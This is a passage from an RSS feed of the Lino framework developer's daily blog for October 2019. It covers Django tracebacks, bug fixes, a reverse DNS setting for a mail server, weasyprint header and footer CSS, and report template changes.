  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/mnt/disk/jane/env3/lib/python3.7/site-packages/django/views/generic/base.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;97&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;dispatch&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;handler&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="n"&gt;kwargs&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/mnt/disk/jane/env3/repositories/react/lino_react/react/views.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;515&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;get&lt;/span&gt;
    &lt;span class="n"&gt;qs&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;row2dict&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;choices_for_field&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;rpt&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;create_request&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="n"&gt;rpt&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;field&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/mnt/disk/jane/env3/repositories/lino/lino/core/dbtables.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;217&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;request&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;TableRequest&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="n"&gt;kw&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/mnt/disk/jane/env3/repositories/lino/lino/core/requests.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;1264&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="fm"&gt;__init__&lt;/span&gt;
    &lt;span class="n"&gt;BaseRequest&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="fm"&gt;__init__&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="n"&gt;kw&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/mnt/disk/jane/env3/repositories/lino/lino/core/requests.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;216&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="fm"&gt;__init__&lt;/span&gt;
    &lt;span class="n"&gt;kw&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;parse_req&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;rqdata&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="n"&gt;kw&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/mnt/disk/jane/env3/repositories/lino/lino/core/tablerequest.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;245&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;parse_req&lt;/span&gt;
    &lt;span class="n"&gt;pk&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;actor&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="n"&gt;django&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;core&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;exceptions&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ObjectDoesNotExist&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Invalid&lt;/span&gt; &lt;span class="n"&gt;master&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt; &lt;span class="mi"&gt;13805&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;working&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;SessionsByTicket&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2019/1018.html</guid><pubDate>Fri, 18 Oct 2019 00:00:00 +0000</pubDate></item><item><title>Wednesday, October 16, 2019</title><link>https://luc.lino-framework.org/blog/2019/1016.html</link><description>&lt;section id="wednesday-october-16-2019"&gt;
&lt;h1&gt;Wednesday, October 16, 2019&lt;a class="headerlink" href="#wednesday-october-16-2019" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;Congratulations to Tonis who implemented the new callbacks handling system that
fixes &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3228"&gt;#3228&lt;/a&gt;, a quite fundamental change in the heart of Lino.&lt;/p&gt;
&lt;p&gt;The only problem on the production server was &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3269"&gt;#3269&lt;/a&gt;.
But how to reproduce it without having a Belgian ID card?&lt;/p&gt;
&lt;p&gt;I added a new setting &lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;simulate_eidreader_path&lt;/span&gt;&lt;/code&gt; for &lt;a class="reference external" href="https://dev.lino-framework.org/api/lino_xl.lib.beid.html#module-lino_xl.lib.beid" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.beid&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;.
Used in &lt;a class="reference external" href="https://dev.lino-framework.org/api/lino_book.projects.avanti1.html#module-lino_book.projects.avanti1" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_book.projects.avanti1&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;So, Tonis, you say &lt;a class="reference external" href="https://dev.lino-framework.org/dev/django.html#management_command-runserver" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-manage docutils literal notranslate"&gt;&lt;span class="pre"&gt;runserver&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; in &lt;a class="reference external" href="https://dev.lino-framework.org/api/lino_book.projects.avanti1.html#module-lino_book.projects.avanti1" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_book.projects.avanti1&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;,
sign in as robin, click on the &lt;cite&gt;[Read ID card]&lt;/cite&gt; quick link and poof.  Happy
debugging!&lt;/p&gt;
&lt;p&gt;NB: The book isn’t yet up to date because &lt;a class="reference external" href="https://atelier.lino-framework.org/invlib.html#command-inv-bd" title="(in atelier v1.1)"&gt;&lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;inv&lt;/span&gt; &lt;span class="pre"&gt;bd&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; fails after my changes.
We can reproduce it by saying:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ export DJANGO_SETTINGS_MODULE=lino_book.projects.avanti1.settings
$ python -m lino_avanti.lib.avanti.models
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Maybe this is related to the failures in &lt;a class="reference external" href="https://welfare.lino-framework.org/index.html#welfare" title="(in Lino Welfare)"&gt;&lt;span&gt;Lino Welfare&lt;/span&gt;&lt;/a&gt; caused by
&lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3228"&gt;#3228&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;I fixed this by removing two &lt;a class="reference external" href="https://dev.lino-framework.org/ref/files.html#xfile-models.py" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;models.py&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; modules from the autosummary
entry in their parent (&lt;a class="reference external" href="https://dev.lino-framework.org/api/lino_voga.lib.contacts.html#module-lino_voga.lib.contacts" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_voga.lib.contacts&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; and
&lt;a class="reference external" href="https://dev.lino-framework.org/api/lino_avanti.lib.avanti.html#module-lino_avanti.lib.avanti" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_avanti.lib.avanti&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;).  That’s correct: we don’t want have
&lt;a class="reference external" href="https://dev.lino-framework.org/ref/files.html#xfile-models.py" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;models.py&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; modules autodocumented.  But I don’t understand why this
error didn’t occur earlier…&lt;/p&gt;
&lt;section id="reverse-dns"&gt;
&lt;h2&gt;Reverse DNS&lt;a class="headerlink" href="#reverse-dns" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;The Reverse DNS field for 167.114.229.225 was empty at OVH. I now set it to
&lt;cite&gt;lino-framework.org&lt;/cite&gt; using the OVH web interface.
This fixed our last issue with postfix.
I started a &lt;a class="reference external" href="https://hosting.lino-framework.org/mail/start/#admin-postfix" title="(in Lino Hosting Guide)"&gt;&lt;span&gt;Get started&lt;/span&gt;&lt;/a&gt;.
Same operation for
&lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;saffre-rumma.net&lt;/span&gt;&lt;/code&gt; (which was &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;ip122.ip-167-114-252.eu.&lt;/span&gt;&lt;/code&gt; before) and
&lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;mylino.net&lt;/span&gt;&lt;/code&gt; (which was empty).&lt;/p&gt;
&lt;/section&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2019/1016.html</guid><pubDate>Wed, 16 Oct 2019 00:00:00 +0000</pubDate></item><item><title>Tuesday, October 15, 2019</title><link>https://luc.lino-framework.org/blog/2019/1015.html</link><description>&lt;section id="tuesday-october-15-2019"&gt;
&lt;h1&gt;Tuesday, October 15, 2019&lt;a class="headerlink" href="#tuesday-october-15-2019" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;I fixed a little bug which caused the following traceback when trying to show
the detail of an excerpt:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;AjaxExceptionResponse TypeError: __str__ returned non-string (type __proxy__)
in request GET /api/excerpts/MyExcerpts/6?_dc=1571102296305&amp;amp;lv=1571101922.83524&amp;amp;pv=&amp;amp;pv=&amp;amp;pv=&amp;amp;pv=1&amp;amp;pv=&amp;amp;an=detail&amp;amp;rp=ext-comp-2534&amp;amp;fmt=json
TRACEBACK:
  File &amp;quot;/home/luc/virtualenvs/py3/lib/python3.6/site-packages/django/core/handlers/base.py&amp;quot;, line 113, in _get_response
    response = wrapped_callback(request, *callback_args, **callback_kwargs)
  File &amp;quot;/home/luc/virtualenvs/py3/lib/python3.6/site-packages/django/views/generic/base.py&amp;quot;, line 71, in view
    return self.dispatch(request, *args, **kwargs)
  File &amp;quot;/home/luc/virtualenvs/py3/lib/python3.6/site-packages/django/views/generic/base.py&amp;quot;, line 97, in dispatch
    return handler(request, *args, **kwargs)
  File &amp;quot;/home/luc/virtualenvs/py3/lib/python3.6/site-packages/django/utils/decorators.py&amp;quot;, line 45, in _wrapper
    return bound_method(*args, **kwargs)
  File &amp;quot;/home/luc/virtualenvs/py3/lib/python3.6/site-packages/django/utils/decorators.py&amp;quot;, line 142, in _wrapped_view
    response = view_func(request, *args, **kwargs)
  File &amp;quot;/home/luc/work/lino/lino/modlib/extjs/views.py&amp;quot;, line 548, in get
    datarec = ar.elem2rec_detailed(elem)
  File &amp;quot;/home/luc/work/lino/lino/core/requests.py&amp;quot;, line 1036, in elem2rec_detailed
    rec.update(title=ar.get_breadcrumbs(elem))
  File &amp;quot;/home/luc/work/lino/lino/core/requests.py&amp;quot;, line 1060, in get_breadcrumbs
    return list_title + u&amp;quot; » &amp;quot; + self.get_detail_title(elem)
  File &amp;quot;/home/luc/work/lino/lino/core/requests.py&amp;quot;, line 986, in get_detail_title
    return self.actor.get_detail_title(self, elem)
  File &amp;quot;/home/luc/work/lino/lino/core/actors.py&amp;quot;, line 1186, in get_detail_title
    return str(obj)
Bad Request: /api/excerpts/MyExcerpts/6
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;section id="about-rendering-headers-and-footers-in-weasyprint"&gt;
&lt;h2&gt;About rendering headers and footers in weasyprint&lt;a class="headerlink" href="#about-rendering-headers-and-footers-in-weasyprint" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Before working on &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3266"&gt;#3266&lt;/a&gt;  I did some research work and optimizations
about how  headers and footers should be configured in
&lt;a class="reference external" href="https://dev.lino-framework.org/api/lino.modlib.weasyprint.html#module-lino.modlib.weasyprint" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.modlib.weasyprint&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; templates (&lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3267"&gt;#3267&lt;/a&gt;).&lt;/p&gt;
&lt;p&gt;Here is how the &lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;excerpts/base.weasy.html&lt;/span&gt;&lt;/code&gt; file did it until now:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="nd"&gt;@page&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;margin&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="n"&gt;mm&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;margin&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;top&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;15&lt;/span&gt;&lt;span class="n"&gt;mm&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;margin&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;bottom&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;15&lt;/span&gt;&lt;span class="n"&gt;mm&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="n"&gt;size&lt;/span&gt;&lt;span class="p"&gt;:{&lt;/span&gt;&lt;span class="o"&gt;%-&lt;/span&gt; &lt;span class="n"&gt;block&lt;/span&gt; &lt;span class="n"&gt;pagesize&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="n"&gt;landscape&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="o"&gt;%-&lt;/span&gt; &lt;span class="n"&gt;endblock&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="p"&gt;};&lt;/span&gt;
    &lt;span class="nd"&gt;@bottom&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;right&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;vertical&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;align&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;top&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="n"&gt;content&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;counter&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;page&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39; / &amp;#39;&lt;/span&gt; &lt;span class="n"&gt;counter&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;pages&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="n"&gt;font&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;family&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;Liberation sans&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;arial&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="n"&gt;font&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;size&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="n"&gt;pt&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;The  &lt;a class="reference external" href="https://www.quackit.com/css/at-rules/css_page_at-rule.cfm"&gt;&amp;#64;page&lt;/a&gt; and
&lt;a class="reference external" href="https://www.quackit.com/css/at-rules/css_bottom-right_at-rule.cfm"&gt;&amp;#64;bottom-right&lt;/a&gt; at-rule
are used to apply styles for &lt;em&gt;paged media&lt;/em&gt; (i.e. not continuous media).&lt;/p&gt;
&lt;p&gt;List of all page-margin properties:
&lt;a class="reference external" href="https://www.quackit.com/css/at-rules/css_page-margin_properties_list.cfm"&gt;https://www.quackit.com/css/at-rules/css_page-margin_properties_list.cfm&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;More readings:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference external" href="https://www.quackit.com/css/properties/css_content.cfm"&gt;https://www.quackit.com/css/properties/css_content.cfm&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference external" href="https://weasyprint.readthedocs.io/en/latest/tips-tricks.html#include-header-and-footer-of-arbitrary-complexity-in-a-pdf"&gt;https://weasyprint.readthedocs.io/en/latest/tips-tricks.html#include-header-and-footer-of-arbitrary-complexity-in-a-pdf&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference external" href="https://stackoverflow.com/questions/39941967/generate-pdf-with-weasyprint-having-common-header-footer-and-pagination"&gt;https://stackoverflow.com/questions/39941967/generate-pdf-with-weasyprint-having-common-header-footer-and-pagination&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference external" href="https://github.com/Kozea/WeasyPrint/blob/gh-pages/samples/invoice/invoice.css"&gt;https://github.com/Kozea/WeasyPrint/blob/gh-pages/samples/invoice/invoice.css&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference external" href="https://gist.github.com/pikhovkin/5642563"&gt;https://gist.github.com/pikhovkin/5642563&lt;/a&gt; complex headers&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;TIL: Setting the height attribute in HTML is called a “presentational hint”
and it’s now recommended not to use them and use CSS instead.
Presentational hints are ignored by WeasyPrint by default,
but you can handle them using the –presentational-hints CLI parameter.
&lt;a class="reference external" href="https://github.com/Kozea/WeasyPrint/issues/872"&gt;https://github.com/Kozea/WeasyPrint/issues/872&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;After reading all these I say: No, we currently don’t need arbitrary “complex”
HTML in headers and footers. The standard system with at-rules works well for
us.&lt;/p&gt;
&lt;p&gt;Changes in Lino and XL:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;The &lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;excerpts/base.weasy.html&lt;/span&gt;&lt;/code&gt; file
I extended this a bit and moved duplicated css definitions from
&lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;excerpts/base.weasy.html&lt;/span&gt;&lt;/code&gt; to &lt;a class="reference external" href="https://dev.lino-framework.org/specs/weasyprint.html#xfile-weasyprint-base.weasy.html" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;weasyprint/base.weasy.html&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;.
The new &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;bottomleft&lt;/span&gt;&lt;/code&gt; and &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;bottomright&lt;/span&gt;&lt;/code&gt; blocks are expected to contain the
&lt;cite&gt;content&lt;/cite&gt; property for their respective element.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;You can now automagically add a logo to all your weasyprint documents by adding
local a &lt;a class="reference external" href="https://dev.lino-framework.org/dev/config_dirs.html#xfile-config" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;config&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; directory with a subdirectory &lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;weasyprint&lt;/span&gt;&lt;/code&gt;
containing a file named &lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;logo.jpg&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="changes-in-the-final-report-for-avanti"&gt;
&lt;h2&gt;Changes in the final report for &lt;a class="reference external" href="https://dev.lino-framework.org/apps.html#avanti" title="(in Lino Developer Guide)"&gt;&lt;span&gt;Lino Avanti&lt;/span&gt;&lt;/a&gt;&lt;a class="headerlink" href="#changes-in-the-final-report-for-avanti" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Here we go for &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3266"&gt;#3266&lt;/a&gt;.
This is basically a few more changes in the template for the final report.
Also I switched build method from appypod to weasy2pdf.
And some minor changes in &lt;a class="reference external" href="https://dev.lino-framework.org/about/overview.html#xl" title="(in Lino Developer Guide)"&gt;&lt;span&gt;Lino Extensions Library&lt;/span&gt;&lt;/a&gt;:&lt;/p&gt;
&lt;p&gt;&lt;a class="reference external" href="https://dev.lino-framework.org/src/lino/core/requests.html#lino.core.requests.BaseRequest.get_printable_context" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.core.requests.BaseRequest.get_printable_context()&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; adds a new function
&lt;code class="xref py py-func docutils literal notranslate"&gt;&lt;span class="pre"&gt;activate_language()&lt;/span&gt;&lt;/code&gt; to set the language for the remaining part of the
template. This is because they want final reports printed in German even if the
clients contact language is different.&lt;/p&gt;
&lt;p&gt;Until now &lt;a class="reference external" href="https://dev.lino-framework.org/apps.html#avanti" title="(in Lino Developer Guide)"&gt;&lt;span&gt;Lino Avanti&lt;/span&gt;&lt;/a&gt; defined two
&lt;a class="reference external" href="https://dev.lino-framework.org/specs/clients.html#lino_xl.lib.clients.KnownContactTypes" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.clients.KnownContactTypes&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;
&lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;general_assistant&lt;/span&gt;&lt;/code&gt; and
&lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;integ_assistant&lt;/span&gt;&lt;/code&gt;.
These have been replaced by a single entry &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;social_center&lt;/span&gt;&lt;/code&gt;.
“Social assistant” and “Integration agent” are now two functions (&lt;a class="reference external" href="https://dev.lino-framework.org/plugins/contacts.html#lino_xl.lib.contacts.RoleType" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.contacts.RoleType&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;)
added by the &lt;a class="reference external" href="https://dev.lino-framework.org/ref/demo_fixtures.html#fixture-std" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-fixture docutils literal notranslate"&gt;&lt;span class="pre"&gt;std&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; fixture of &lt;a class="reference external" href="https://dev.lino-framework.org/api/lino_avanti.lib.avanti.html#module-lino_avanti.lib.avanti" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_avanti.lib.avanti&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;New method &lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.clients.KnownContactType.get_contacts&lt;/span&gt;&lt;/code&gt; (i.e. get
them all, not just one) is now used instead of
&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.clients.KnownContactType.get_contact&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Summary layout of &lt;a class="reference external" href="https://dev.lino-framework.org/plugins/cv.html#lino_xl.lib.cv.HistoryByPerson" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.cv.HistoryByPerson&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; was not very readable:
added a colon behind each field label, and the field value is now  bold.
A bug in that same summary always inserted an empty bullet at the beginning of the list.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="who-s-behind-weasyprint"&gt;
